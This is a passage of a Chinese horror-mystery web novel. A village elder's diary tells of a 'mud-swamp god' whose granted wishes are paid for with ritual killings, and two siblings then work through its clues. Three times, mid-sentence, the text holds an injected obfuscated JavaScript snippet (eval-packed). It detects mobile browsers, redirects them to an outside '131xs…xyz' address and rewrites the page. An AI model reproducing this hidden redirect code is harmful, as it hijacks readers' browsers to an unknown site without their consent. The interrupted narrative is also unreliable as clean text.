XS66年11月7日 老大媳妇跟我说,老大最近奇奇怪怪的,每天早出晚归,不知道在忙什么。我劝她,男人嘛,总得有自己的事业,忙起来是好事。 谁知道他整天忙什么。 自从装模作样几天挖出了黄金,就再也没下过地,唉。 * XS67年6月19日 老大又发什么疯,每天弄得这么脏,给家里踩的,全都是泥。得亏他两口子结婚后就搬出去了,眼不见为净,眼不见为净。 * XS68年6月17日 这几天总觉得有点不对劲。 不知道谁先传出的消息,村里又开始流传神明了。我找大正和勤哥打探过,他们说是什么“泥沼神”,专门庇佑粮食丰收的。嚯,这谁信啊,还没雪山娘娘可信呢。 * XS68年6月20日 居然连祭神节上都有泥沼神的名号了。 不管了,大家伙高高兴兴的就好。 * XS68年9月23日 居然真的丰收了。 真的有泥沼神吗? * XS68年11月16日 哥仨又聚一块儿喝酒了。 勤哥劝我想开点,别对大哥的死耿耿于怀,当年可能就是信错了神明,神明发怒,才拿身为村长的大哥开刀,为的就是警告大伙儿。 大正也说,他替小娟求了平安健康,小娟的身体真的在一点点变好。 我不信。 * XS68年11月17日 我就是路过雪山底下,顺便看一看。 湖沼的泥潭比当年还多了,看样子泥沼神也不是完全没有根据。 * XS69年1月1日 泥沼神到底真不真,试试才知道。 老大和老二的媳妇娶进门,肚子一直没动静。那我就许愿抱个大胖小子吧,谁家的都好。 * XS69年3月18日 老大家的怀了! 好好,太好了,太好了! 泥沼神在上,荀柱在此赎罪,请您宽恕大哥的过错,保佑荀家顺利,保佑村落平安。 泥沼神保佑。 * XS69年5月11日 孙子没了。 老大真是魔怔了,明知道媳妇怀了孕,还扇了她一巴掌,她肚子直接撞在桌角上,娃娃没了,造孽啊! 罪过,罪过。 泥沼神恕罪。 泥沼神保佑。 * XS69年5月16日 老大媳妇一直说不舒服,要去城里医院看,老二媳妇陪着去的。 回来之后俩人脸色都不好看,我问她们才说,是碰上老大媳妇的老爹老娘了。他俩差点把人拦个正着,得亏老大媳妇反应快,拉着老二媳妇就跑,要是被认出来,真就走不成了。 听她们说,她老爹老娘当年好像还报警了,一直也没找着。唉,其实他们来荀家村找过,我跟他们说老大结婚了,没说媳妇是谁,他们就走了。 罪过啊,罪过。 泥沼神恕罪。 泥沼神保佑。 27. 第二十七章 XS70年6月18日 最近身上总会出现一些莫名的泥渍,我也没怎么出门,从哪里沾上的? 泥沼神保佑。 * XS70年6月19日 找大正聊了两句,他最近也这样,小娟也是。 奇怪。 泥沼神保佑。 * XS70年6月20日 家里的煤油灯怎么不见了? 泥沼神保佑。 * XS70年6月21日 今天的泥多得过分了,连上身都沾了好多。 问了老大媳妇和老二媳妇,老大每天也这样,衣服都洗不上趟,老二就没有,除了下地沾的土,别的都干干净净。 泥沼神保佑。 * XS70年7月1日 我有个离奇的想法。 * XS70年7月2日 我去问了勤哥,他开始还不好意思说实话,后面我问得急了他才承认,早先他就跟泥沼神许过愿,许愿小孙子成绩高高,出人头地。 老二迷迷瞪瞪的,连泥沼神是什么都不知道,更别说许愿了。 老大一听我问就两眼发光,说泥沼神特别神,他说想发财,泥沼神就给他变黄金,他说想要老婆,泥沼神就给他变了个老婆,想要孩子,她肚子里就揣上了他的种。 搞半天这媳妇还是他许愿得来的,难怪这么死脑筋,就认准了他。 还有那没出生的娃娃,他自个儿求来的,咋都不知道珍惜呢,白瞎了我也替他许的愿,唉,混账东西。 老大媳妇和老二媳妇更没听过什么泥沼神,她们妇道人家的,哪里懂神明的重要,我也没多说。老大媳妇居然还问我雪山娘娘的事,那都什么年代的老黄历了,我训斥了她一顿,让她不要再提了。 大正老早就许愿让小娟身体健康,这事儿我知道,我又问了他小娟的情况。他说小娟也许愿了,想让他们家的女娃娃小鲈健康长大,平平安安。平安是重要,那也得嫁个好人家,看看老大媳妇就知道了,唉。 所以,身上突然出现的泥渍,真的和泥沼神有关系? 泥沼神保佑。 * XS71年1月31日 大正带着小娟来找我了。 他说,小娟做了个怪梦,梦到了雪山,雪山还会说话。 雪山说,泥沼不干净,让村民赶紧撤离,离得越远越好。 什么乱七八糟的,雪山娘娘还会托梦呢?要真会托梦,怎么不救救我大哥。 泥沼神保佑。 * XS72年2月1日 我也做梦了。 我梦到阿兰了。 她走以后,从来没来过我梦里。我知道,她在怪我,怪我没有听她的话,怪我没有把那支经幡挂上雪山。但事实证明,雪山娘娘根本没用,我没做错什么。 但梦里的阿兰没有怪我,她轻声细语的,让我注意身体,多留意不对劲的地方。她说,泥沼的馈赠是有代价的,让我不要依赖许愿。 她说,她知道我不会离开荀家村,所以也不会劝我走,但她希望我守好荀家村的村大门,不要再让任何一个无辜的人走进来。 我没懂,她又强调了一次,多留意不对劲的地方。 稀奇古怪的。 然后我就醒了。 泥沼神保佑。 * XS72年2月14日 老大媳妇问我,有没有看到小赵,什么小赵,村里就没有个姓赵的,过糊涂了吧。 泥沼神保佑。 * XS72年2月15日 不是小赵,是小昭。 她说得有鼻子有眼的,白毛衣,牛仔裤,还有个鹅黄色的羽绒服,大白天见鬼了。我问她在哪见过这人,她居然说是来旅游的。 瞎说八道。我活到这把岁数了,可没见过来荀家村旅游的。 泥沼神保佑。 * XS72年2月16日 老二媳妇也来问我了。难道真有这么一号人? 我得去找人问问。 泥沼神保佑。 * XS72年2月18日 大正家的女娃说,确实见过这么个人,后来说要去雪山探险,就再没回来。 奇了怪了,我怎么不记得村里来外人了? 泥沼神保佑。 * XS72年3月2日 不对,不对。 泥沼神保佑。 * XS72年3月4日 全乱套了。 * XS72年3月20日 都问过了,最早不见的是在XS69年,今年已经是第四年了。 数不清,根本数不清有多少人,每个人的说法都对不上,勤哥家的早生娃子最吓人,居然见过一个旅行团都没影了,还就是今年年初的事儿。 他说,他看到了泥。 * XS72年5月2日 老三回来了,他劝我报警。 这都哪跟哪的事,我都不知道是真是假,凭啥报警。他说不过我,又跑了。 * XS72年5月4日 混账东西!居然真报警了! 警察来转了一圈,村民也都被问了一圈,最后也没查出啥结果。 我就说,这么邪乎的事,谁知道真的假的。看到有人不见的基本都是半大的娃娃,娃娃说话有啥可信的。 泥沼神保佑。 * XS72年5月7日 老大媳妇坚持说小昭不见了,警察待了好几天,哪都找了,啥也没有。 妇人之见,难成大器。 泥沼神保佑。 * XS72年6月20日 见鬼了。 我脖子上多了一道厚厚的泥巴。 门窗都关得好好的,哪儿来的泥? * XS72年6月30日 得找勤哥大正他们谈谈。 * XS72年7月1日 太可怕了。 我们怎么会有这么可怕的想法。 一定是酒喝多了,一定是。 * XS72年7月3日 一时间不知道从哪里开始写,今天发生太多事了,但我有种预感,这件事必须记录下来。 我,勤哥,还有大正和小娟,今天一起上了雪山。本来只有我们哥仨的,大正说小娟一定得来,最早是她梦到了雪山,有她在,也许我们能找到答案。 勤哥问,泥沼神真的存在吗? 经幡,动了。 大正又问,泥沼神能实现愿望,是真的吗? 经幡又动了。 我忽然想起来阿兰托的梦。 我问,愿望有代价吗? 经幡几乎要飞起来了。 我心里那个发毛啊,但我还得问,我还有很重要的问题要问。我说,那些不见的人,和泥沼神有关系吗? 经幡在动。 我又问,是泥沼神杀了他们吗? 经幡,停了。 大正有点怕了,他声音都在抖,居然还想开玩笑,他问:“总不能是我们杀的吧?” 忽然就狂风大作,经幡呼啦呼啦地响,我也不知道是谁先腿软的,哥几个都坐在地上了,只有小娟还站着。她是真的胆大,表情就没变过,居然还在问。 她问,雪山娘娘还在吗? 风一下子就停了,但经幡还在动,很微弱,很轻。 她又问,41年的雪崩,是雪山娘娘的警告吗? 经幡在动。 那45年呢? 经幡停了。 不是雪山娘娘,那只有一个可能了。我们谁也没有问出口,怕,都怕啊,怕这些年像个笑话一样,求着那个所谓的神明,害了一村子的家人。 所以我们都不问了。 但经幡又飘动了。 * XS72年7月4日 做了一宿噩梦。 我把本子翻到了开头,重新看了一遍,原来在那么早的时候,阿兰就提醒过我了啊。是我太愚蠢,才有了今天的局面。 我是杀人犯吗? 是我害了大哥吗? * XS72年7月13日 我和孩子们商量过了,我要搬去离村大门最近的地方住。 在我搞明白真相之前,守好荀家村村门,我绝不会让下一个无辜的人进村,就像阿兰叮嘱的那样。 阿兰保佑。 * XS72年9月24日 老二问我,昨晚出去干啥,有事怎么不叫他起来。 但我明明没出门。 老二说,他媳妇睡眠浅,起来倒水喝的时候瞅见了,我大半夜穿着睡觉的衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232509|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑出去了。 是,我今早起来身上又有泥了。 到底是怎么回事。 * XS72年9月25日 如果晚上和白天根本不是一个“我”呢? * XS72年9月26日 睡不着,根本睡不着,翻来覆去都在想,“我”到底是谁,“我”真的是我吗。 * XS72年10月2日 我终于看到他们说的游客了,还是两口子,说想爬雪山,我把他俩劝走了。唉,希望有用吧。 * XS72年10月4日 老大脖子上也有泥印,还是两道。 老大媳妇跟老二媳妇说的,我偷听到的。她还说,昨天家里来了一对年轻人,一觉起来就走了,可能村里旅游业真发展不起来了。 一对年轻人?是我劝走的两口子? 两道泥印? * XS72年10月5日 谁来救救我们。 谁都好,保佑荀家村平安。 * XS72年10月8日 我把村里的老人都叫在一起,劝他们带着家里一起走。老的都不肯,我也理解,那就让娃娃们走吧,都走,越远越好。 大正和勤哥也明白我的意思,都帮我劝着大伙,我也没想瞒着大家,把关于泥沼神的猜测都说了。有信的,有不信的,反正我说到了,做不做就是他们的事了。 别人家的我管不着,自己家的我又说不动。我不走,老二也不走,他说要给我养老,老二媳妇也不走。老大更不走,他无论如何也信泥沼神,我嘴皮子都磨破了,他不信老子。 爱信信,不爱信算完。 * XS73年1月1日 新的一年了。 陆陆续续走了好些人,走了好,走了好啊。 村里剩下的娃娃没几个了。 大正小娟家的孙女小鲈没走,说要陪着爷爷奶奶,儿子儿媳跟着留下了,女儿还没成家,也陪着老爹老娘;勤哥家的女儿都嫁去城里好几年了,儿子把早生送到了女儿那里上学,自个儿和媳妇留下来照顾家里;王家的大壮还不到上学年龄,也没急着走,全家都留下了。 年纪大了,以前的事都记不清了,把这些名字写下来,说不定还能记得牢些。 留下的人越来越少了。 我对不起大哥,但这已经是我能想到的最好的办法了。 * XS74年1月1日 去年安安稳稳一整年。 我守住了。 * XS74年3月20日 老大怎么还惦记着泥沼神,怎么掰扯都听不进去,老大媳妇怎么也不跟当家的好好说道说道,妇人家家的,还是指望不上。老二媳妇也是,这么多年了,肚子也没个动静,也不知道我什么时候能抱上孙子。 * XS74年3月21日 泥沼神保佑。 * XS74年3月22日 泥沼神保佑。 * XS74年3月23日 泥沼神保佑。 * XS74年3月24日 这都是什么时候写的?? 我不记得,一点也不记得,记忆会骗人吗? 为什么泥沼神还是不肯放过我们? * XS74年3月25日 何绣娟又做梦了。 荀大正说,她梦见了雪山,雪山娘娘传话,那位已经失控了。 他说,不要提起“祂”的名字,“祂”会听到。 * XS74年4月26日 王春花说,感觉路灯越来越亮了。 不是一直都很亮吗? * XS74年4月27日 仲安说,王春花昨晚又看到我出门了,路灯就罩在我身上。 * XS74年5月1日 叔远回来一趟,我问他,路灯亮吗。 他让我去看看脑子,他说村里哪儿来的路灯。 * XS74年5月20日 祂一直在吗? 祂是不是走了? 祂还会来吗? * XS74年6月20日 仲安没了。 祂还是来了。 28. 第二十八章 熏风阵阵,树影婆娑。 日光笼在二人身上,岑桉和程杉头靠着头看完这段,浑身都冒冷汗。 “姐,”程杉眼神失焦,“这、这是人写的吧?” 是,起码前半段是,但从XS74年起就不一定了。 那几段莫名其妙的“泥沼神保佑”暂且不提,老村长——也就是荀柱,从3月25日开始的每一个名字都写了大名,在此之前都是些亲近的称呼,这点十分古怪。 泥沼神。 原来那滩烂泥叫“泥沼神”。 笔记本是和经幡一起存放在木匣子里的,如果经幡是雪山娘娘的力量代表,那么荀柱极有可能已经意识到了自己的不对劲,并且将记录着过往的笔记本妥善藏好。 经幡是用来防泥沼神的吗?泥沼神能看到笔记里的内容? 岑桉重新梳理着头绪。 假设笔记本里记录的内容都是真实的,那么荀家村的三次雪崩分别来自于雪山娘娘、泥沼神、泥沼神,第一次被视作雪山娘娘的警告,第二次害死了在任的村长荀石,第三次害死了包括荀仲安在内的无数村民。 不妨做个大胆的推论,雪山娘娘早在XS41年就发现了泥沼神的存在,并且以雪崩为信号催促村民搬迁,只是可惜,毫无伤亡的雪崩并未引起大多村民的警惕,也就导致最佳撤离时间被错过了。 XS45年的雪崩原因暂不明晰,但从笔记内容来看,荀石的去世是雪山一脉没落的重要原因。 荀柱管理能力远远不如荀石,在他上任后,荀家村就开始逐步走下坡路了,当然,这可能不单单是荀柱一人的能力问题,还有泥沼神在暗中作怪。 最大的转折点出现在XS63年,那个叫“早生”的孩子许愿,为荀家村求来了路灯。 这个名字岑桉听荀叔远提起过,当时他是在喊荀昼生,不知道是小名还是什么,总之“勤哥家的孙子早生”对应的人物应该就是荀昼生了。 也就是说,荀昼生作为向泥沼神许愿的开端,正式掀起了荀家村村民许愿的浪潮。 这也刚刚好对应了他曾给岑桉讲过的一个故事——引狼入室。 兴许他当时年幼,并非有意。可是自荀昼生之后,很多人都同泥沼神主动许愿,其中最疯狂的显然是荀伯成,他至少许了三个愿望——金钱,爱情,以及后代,但岑桉还有另一个阴暗的猜测。 也许,他还有第四个愿望。 ——事业。 他想要村长的位置。 所以荀仲安死了,死在泥沼神创造的第三次雪崩里。 这个猜测有过度揣测的嫌疑,但岑桉很难不把荀伯成想象成一个居心叵测的人。 他贪婪,懒惰,狼心狗肺,丧尽天良,十恶不赦。无论是觊觎不属于自己的东西,还是把家人的好心当作驴肝肺,又或者是欺骗昔日同窗、得到手后便不再珍惜,甚至是家暴自己的妻子和孩子,桩桩件件,罄竹难书。 要岑桉说,荀柱也不是什么好东西。 她作为晚辈,或许不该对毫无关联的长辈出言不逊,但她在心里想想总可以吧。 荀柱重男轻女,对儿子和儿媳简直偏心得可怕,更不必说他在荀伯成娶妻这件事里起到的作用,虽然这件事和岑桉原本想象中的“拐卖”相差甚远,但这又和拐卖有什么分别? 他分明就是隐瞒了事实,将荀小妹妈妈骗进了家门,还欺瞒了她的父母。 他该受到法律的惩罚。 但这些都是后话了,岑桉想,她得先找到出去的办法,才能把这里的累累罪案一锅端了。 “姐,路灯到底是怎么回事?我都看懵了。” 程杉最在意的还是路灯,方才他、老姐还有荀昼生一起数路灯的时候,就把他吓得不轻,笔记本里更是装神弄鬼、故弄玄虚的,他怎么想怎么糊涂。 “我也只是猜测。”岑桉先捡着最重要的说,“路灯亮起的时候,会有迷惑人的作用,你就记一个咒语‘煤油灯’,多想多念,保准管用,只要醒神就赶紧跑,别管发生什么,跑就对了。” 再就是,路灯的数量。 路灯的数量在不同人眼中是不同的,这也就意味着,路灯并非客观存在的,它受到观察者的心理影响,或许是揣摩越多、对它越高估,眼里看到的路灯数量也就越多。 按照这个思路,荀叔远应该是最不受影响的人,他的眼里压根没有路灯,从以前到现在一直都是这样。 可路灯是由荀昼生向泥沼神求来的,按理也算是泥沼神的化身,那么会不会是根据受泥沼神掌控的程度来区分看到路灯的数量? 岑桉否定了这个可能,毕竟她看到的比程杉要多,单从战力角度考虑,也不该是她受泥沼神的掌控更深。 她把这些都拆解开说给程杉听,得到了一双亮闪闪的眼神:“姐,你太厉害了!” 岑桉已经快对他的随地大小夸免疫了。 还有一个最大的问题。 关于“杀人”。 文字记录中的疑点很多,包括身上突如其来的泥渍、白天和晚上的不同自己、虚假的记忆、不见的旅客以及脖子上的泥痕。 如果许愿是媒介,愿望的代价是“杀人”,那么,泥沼神帮人实现愿望的目的,就是利用人来“杀人”。岑桉判断,之前她被人用短刀划破影子脖颈的过程,就是笔记本中的“杀人”。这并非真正意义上的杀人,更像是一种仪式——献祭的仪式。 岑桉不由想起第三次循环结束时,那滩烂泥——现在该称一声“泥沼神”了,它——或者说是“祂”,当时叽里咕噜的鸟语里就提到了“仪式”两个字。 也许祭神节的祭神仪式和“杀人”的献祭仪式是相同的,二者都对泥沼神有相当大的益处。 神明需要什么呢? 信仰?力量? 心不甘情不愿的献祭,也能算作信仰么。 岑桉想不明白。 最让她想不明白的关键是,即使她搞清楚了一切,弄清了荀家村的过去和神明的真相,她又该怎么出去? 程杉挠了挠发顶:“好耳熟,好像在哪里听过这个思路。” 岑桉:“……” 岑桉:“是什么,为什么,怎么办,高考议论文三段论,你这就忘干净了?” “咳、咳咳,”程杉尴尬地咳了几声,“这不是考完就扔了吗。” 岑桉白了他一眼,继续分析。 笔记本里说,荀柱在守着荀家村,不让外人进来——岑桉可没看出来,那句“感谢神明,把你们送来荀家村”令她刻骨铭心,怎么看怎么不像守门人。即便是,那也是守着门不让出,而非守着门不让进。 会不会是有什么东西困住了整个荀家村? 泥沼神需要力量,肯定不会允许自己的信徒离开荀家村,因此祂捣鬼让进入荀家村的人都无法离开,这个思路非常畅通。 但困住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247587|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荀家村的究竟是什么?屏障?诅咒? “说不定是阵法呢。”程杉插嘴道。 看岑桉凝神,他摩挲着下巴,故作深沉:“小弟还是有几分经验的。” “说人话。”岑桉面无表情。 “其实我也是瞎猜啊,祂不是摊泥吗,泥底下藏点符文啊阵法啊结契之类的东西,不是很有可能吗。” “有点道理,”岑桉轻轻叩了叩他的脑门,“算你一功。” 程杉委屈地捂住了额头:“怎么有道理还敲,敲笨了咋办。” “不好意思,敲顺手了。” 程杉:“……” 程杉提供了一个很新的角度,起码岑桉从来没有考虑过这点,他说自己经验丰富倒也不算是无的放矢。 阵法和符文可以之后找找看,没准真的和荀家村的困境有关,此外她还有点在意程杉说的“结契”。 泥沼神和村民之间的许愿过程,就很像是一种结契,双方缔结契约达成共识,一方为另一方达成心愿,另一方则需受一方驱使。 那荀昼生呢? 他也许过愿,不会受到影响吗? 也许姐弟间真的有点心有灵犀的说法——即便他们是表姐弟,岑桉刚一想到荀昼生,程杉已经嘴快提到了他:“对了,我一直想问你来着,你跟那男的,就是荀昼生,什么关系啊?” “朋友,普通朋友。”明明上个循环也是这么说的,岑桉这次却莫名有点心虚。 她从来不回避自己的感情问题,自认为是个能大大方方面对心动的人——现在她明白了,那是因为她以前没遇上荀昼生。又或者说,她之前没能遇到真正心动的人。 岑桉还是没能分辨清,这种心动是否来自于吊桥效应。 但不可否认的是,她想起他时,脑海中浮现出许多记忆点。 她记得初遇时阴差阳错间闻到的清冽雪气,记得他被她怀疑时像只皱皱巴巴的落水小狗,记得雪山上触碰经幡柱前他郑重的神情,记得被众人调侃打趣时他急得团团转的模样,记得山洞来人时他挡在自己身前的背影和回头时的慌乱,记得捂程杉嘴时意外相触的一瞬怦然。 …… 岑桉终于发现,她已经在心里藏下了这么多与他有关的片段。 她不能否认自己的心动,却不愿承认自己的心动。 短短不到两天的时间,她不知道他的职业,不知道他的年龄,甚至不如相亲了解得透彻,就已经和他一起经历了五次循环。 他们还有那么多疑点没有解开,他们的安全也没有得到保障,她却在这段看不到出路的旅程中,被夜空中划过的焰火引走目光。 是啊,焰火。 她对他的心动就像是一场短暂而绚烂的烟花,明知有尽头,却还是被吸引,踏足其中又不敢深陷,怕无法脱身,落得个覆水难收。 “姐,”程杉难得正经,“你跟我说实话。” “好吧,也不能说是朋友,其实——”话到嘴边,还是拐了个弯,“其实是战友。” 岑桉唾弃自己的不坦诚,但还是找补道:“就是那种,同舟共济、福祸相依的战友。” “真是战友?”程杉问。 “对,没错。”岑桉答。 “你信任他?” “是,没错。” “你喜欢他?” “嗯,没——嗯?什么?” 岑桉怀疑自己的耳朵出了问题。 29. 第二十九章 这场问话以程杉头上多了个暴栗告终。 程杉虽然挨了打,但自认为算是逼着老姐认清了心意,他见好就收,老老实实地问起了正事:“咱们接下来去哪儿?” 岑桉没适应这个转变极快的话题:“你等会儿的,我真没有——” “姐,”程杉打断了她,“老实说,我不支持你跟他谈恋爱,因为他对我来说是个陌生人,我不信任他,但你信任他,而我信你。” 岑桉怔住。 “以前姨妈总说,怕她的事影响到你,怕你不敢谈恋爱,不敢走进人生下一步,我觉得你不会。我老姐的人生没有设限,我一直这么觉得,你好像什么都能做,什么都能做好,所以就算你真的选择不谈,那一定也是因为你不想,而不是不敢。” 程杉一口气说完一连串,又深吸了口气,继续道:“姐,我不知道你到底怎么想的,但我不是傻子,我看得出来,你喜欢他。原因你不想说我就不问,毕竟那么多次循环呢,发生点故事也很正常,要怪就怪我没这个天赋跟你一起循环,错过了故事也是我活该。” 这是什么话。 岑桉没忍住扯了下嘴角。 “我觉得吧,谈恋爱是不应该退缩的,喜欢就是喜欢,没什么不能承认的。你别以为我没谈过就没理论知识,我看得可透彻了,你就试一把,别顾虑这顾虑那的,喜欢了就谈,不喜欢了就分,管他心里头怎么想呢。再说了,那男的也喜欢你,你别不信,我看人可准了,他还挺有眼光的。” “所以呢,”程杉长篇大论了一通,才有些难为情地摸了摸后脖,“只要你喜欢,我支持你选他。” 岑桉看出他不自在,正想感慨句自家弟弟长大了,就听他又说:“姐,你看,我帮你分析了这么多,是不是还挺有用的,你就选我当男主角吧?” 岑桉:“……” “我看你不是不信任他,是怕他真竞争上位成男主角抢你饭碗吧。” 程杉嘿嘿地笑了起来:“被你发现了。” 长大个屁,骨子里还是个中二少年。 其实,道理她都懂。 但这个环境实在是太特殊了。 在她最无知无措的时候,他给了她尽可能多的信息提示;在她最孤注一掷的时候,他守住了她的底线和原则,让她不至于彻底被愤怒吞没;在她放手一搏的时候,他补上了她攻击时的疏漏,替她将弟弟带出了山洞。 她喜欢的究竟是这份坦诚相待的互助与共、那种恰到好处的默契互补,还是他荀昼生这个人? 岑桉不知道。 其实妈妈的婚姻并没有扼杀岑桉选择恋爱的勇气,反而是让她更在意两个人建立关系背后的责任。所以她在对自己的心意有清晰认知之前,她不会迈出那一步。 岑桉想。 至少,等一切都结束吧。 等跳出这个循环,再让她慢慢探究,他究竟是不是她心底的那个答案。 “你们怎么在这儿?” 一声惊呼打断了岑桉的思绪。 荀耀推开院大门,被两个不速之客吓得倒退两步,然后又瞪大眼睛叉着腰,装出一副气势汹汹的模样:“小偷!抓贼——唔——” 程杉眼疾手快地堵上了他的嘴。 小孩儿人不大,声音倒是不小,也不知道会不会把老村长招回来。 字条上的“请进”和笔记本上的字迹一致,看得出来是老村长的手笔,但墨痕已干,无法判断书写时间。 岑桉不确定现在的“老村长”究竟还有没有清醒的意识,又到底站在哪一边。她不敢冒险,迅速把东西规整成原样,匣子埋地下,钥匙塞书里,再出来时,堵住荀耀嘴的已经从程杉的手变成了一团布。 “毛巾,干净的,没用过,”注意到老姐的眼神,程杉生怕她误会,赶忙解释道,“我没虐待小孩,要虐待也是他虐待我,你看,都给我咬出牙印来了。” 他一手抓着荀耀的双手,委委屈屈地把另一只手的手指伸到岑桉面前,确实是很深一个牙印,看得出来牙口不错。 虽然带上一个非自己人是会有些麻烦,但这么小的孩子,大概率也翻不出什么浪花。为了防止荀耀把他们的行踪透露给老村长,岑桉略一犹豫,还是说:“算了,堵也堵了,带上他吧。” 就按照程杉的思路,先去湖沼泥潭附近看看有没有什么符文阵法。 如果能碰上荀昼生就再好不过了,岑桉得问一问许愿的事情,万一对他也有什么影响,她也好做到心里有数。 * 荀小妹跟踪到山洞附近的时候,恰好碰到了荀昼生。 她本来好好呆在家里,打了无数个腹稿,想着该怎么跟岑桉讲自己这些匪夷所思的记忆。她刚给第四版腹稿打上叉号,就听到窗外传来吵架的声音。 荀小妹小心翼翼地推开了条窗缝,居然看到了爸爸。他还穿着早晨出门的那套衣服,和婶婶争执不下。 她静悄悄地偷听了一耳朵,又是些陈芝麻烂谷子的事,爸爸指责婶婶脚下踩的地是自家的田,让她赔偿,婶婶气急了骂他不种地不管家还有脸要钱。 他们回回吵,年年吵,荀小妹听得多了,倒是头一回在白天听到——爸爸白天几乎不出现在村里的。荀小妹正疑惑着,就听到爸爸蹦出来一句:“女人就是蠢,真不知道祂是怎么容忍你活到现在的。” 什么什么? 荀小妹敏感地竖起了耳朵。 “你这么听祂的话,最后连怎么死的都不知道。”婶婶嗤了一声,“你死了是无所谓,可怜了小妹。” “我死?你死了我都不会死的,当心当心你自己的脑袋吧。至于那个赔钱货?你可怜你养她好了,一个女娃有什么好稀罕的,头发长见识短的东西。” “跟你说话真是浪费时间,垃圾都比你有人样。”婶婶呸了他一脸,脚步声越来越远。 荀小妹估摸着应该是吵完散场了,正要偷偷把窗关上,没想到还有一句独角戏的台词:“有人样有个屁用,等过了明天,看你有没有命活着跟我说话。” 她吓得从凳子上跌了下去,好在身旁就是床,没有摔伤,也没有出大动静,等爸爸的脚步声也往远处去时,她才心惊胆战地站起来。 什么叫“有没有命活”? 爸爸要害婶婶吗? 不行不行,得想办法告诉姐姐。 荀小妹下了决心,轻手轻脚地出了房门,刚好看到爸爸往山林深处去的背影。她忽然冒出一个想法——或许,她能拦下爸爸。 如果她能阻拦事情的发生,姐姐就能少操点心。姐姐能答应帮她妈妈,她就已经很知足了,不能再给姐姐添麻烦。 于是,荀小妹一路跟踪左拐右拐,穿过了泥泞小道,跟到了一处她从未见过的山洞,便再找不到爸爸的身影。但她在藏身的树丛里见到了一个意料之外的人——荀昼生。 “大哥哥?”她刚出声,就见他在唇前竖了根食指:“嘘。” 荀昼生见她噤声,才指了指她来路的方向,荀小妹循着望去,看到了两张许久未见的面孔,一时间眼睛睁得滚圆。 两位老人互相搀扶着来到山洞前,一道光闪过,两人就不见了踪影。四下寂静,仿佛从没来过人一般,只余下四行脚印。 “人、人呢?”荀小妹的小脑袋瓜左转右转,怎么也找不见人影,“大哥哥你看到了吗,娟奶奶和正爷爷,他们怎么一下子不见了?” “山洞里。”荀昼生言简意赅,“我试过了,进不去。” 荀小妹迟疑道:“那,要不我去试试?” 接收到荀昼生的点头示意,荀小妹噌一下跑了出去,刚跑到一半山洞洞身就剧烈摇晃起来,她猛地刹车,转头就往回跑,将将躲在最近的丛木后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247588|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山洞门口就出现了好大一团泥巴。 她惊得捂住自己的嘴,生怕控制不住发出呼声。 那泥慢吞吞地往前挪动着,挪到泥潭上时,整摊泥都消失不见了。 山洞里接二连三跑出来几个人,荀伯成咒骂一声,沿着湖沼飞奔而去,另外两个老人颤巍巍地往另一头走去。 见人都走远了,荀昼生从藏身处走了出来,再次尝试进入山洞,只是刚一靠近,便如同碰到了屏障一般被弹倒在地。荀小妹也试探着凑了过去,得到了同等待遇,甚至因为体重轻被弹落得更远了些。 两人才刚起身,便又听到悉悉簌簌的声响,荀昼生立即拉上荀小妹重新躲了起来。 又是那摊泥。 这次出现时,泥浑身散发着光晕,荀昼生当机立断捂住了荀小妹的眼睛,自己则念起了岑桉教给他的“煤油灯”咒语。 随着光晕的褪去,密谭中出现了三个挣扎的人影,两个被捆了手脚,一个被堵了嘴。 荀昼生心跳停了半拍。 他一眼就看到了那个熟悉的背影——是岑桉,她裹了浑身的泥,整个人狼狈不堪,但他依旧第一眼就认出了她。 她怎么会忽然被抓起来? 事情要从十分钟前说起。 岑桉以防万一,把笔记本放回了远处,但顺手牵羊带走了几张空白的草稿纸,还有两只笔。她走到荀小妹家附近时,忽然想起笔记中有一句“不要提起‘祂’的名字,‘祂’会听到”,她随便找了块干净的石头,靠在上头开始写写画画。 程杉凑过去一看,纸面上写满了犇骉麤猋魑魅魍魉,其中夹杂着间隔开的“泥”“沼”“神”三个字,她还用另一颜色的笔特意将这三字圈了起来。 “你是要给那谁看吗?”程杉酸溜溜地问。 “嗯,有备无患。” 岑桉写得认真,程杉看得认真,无人注意到荀耀也把脑袋凑了过来,他双手被束缚在身后,口里塞着毛巾依旧含含糊糊地念出了模糊的字音:“呃嗷嗯(泥沼神)?” 岑桉心头雷声大作。 程杉看她如临大敌的模样,差点咬到自己的舌头:“他、嘶,他也没说清楚,应、应该没事吧?” 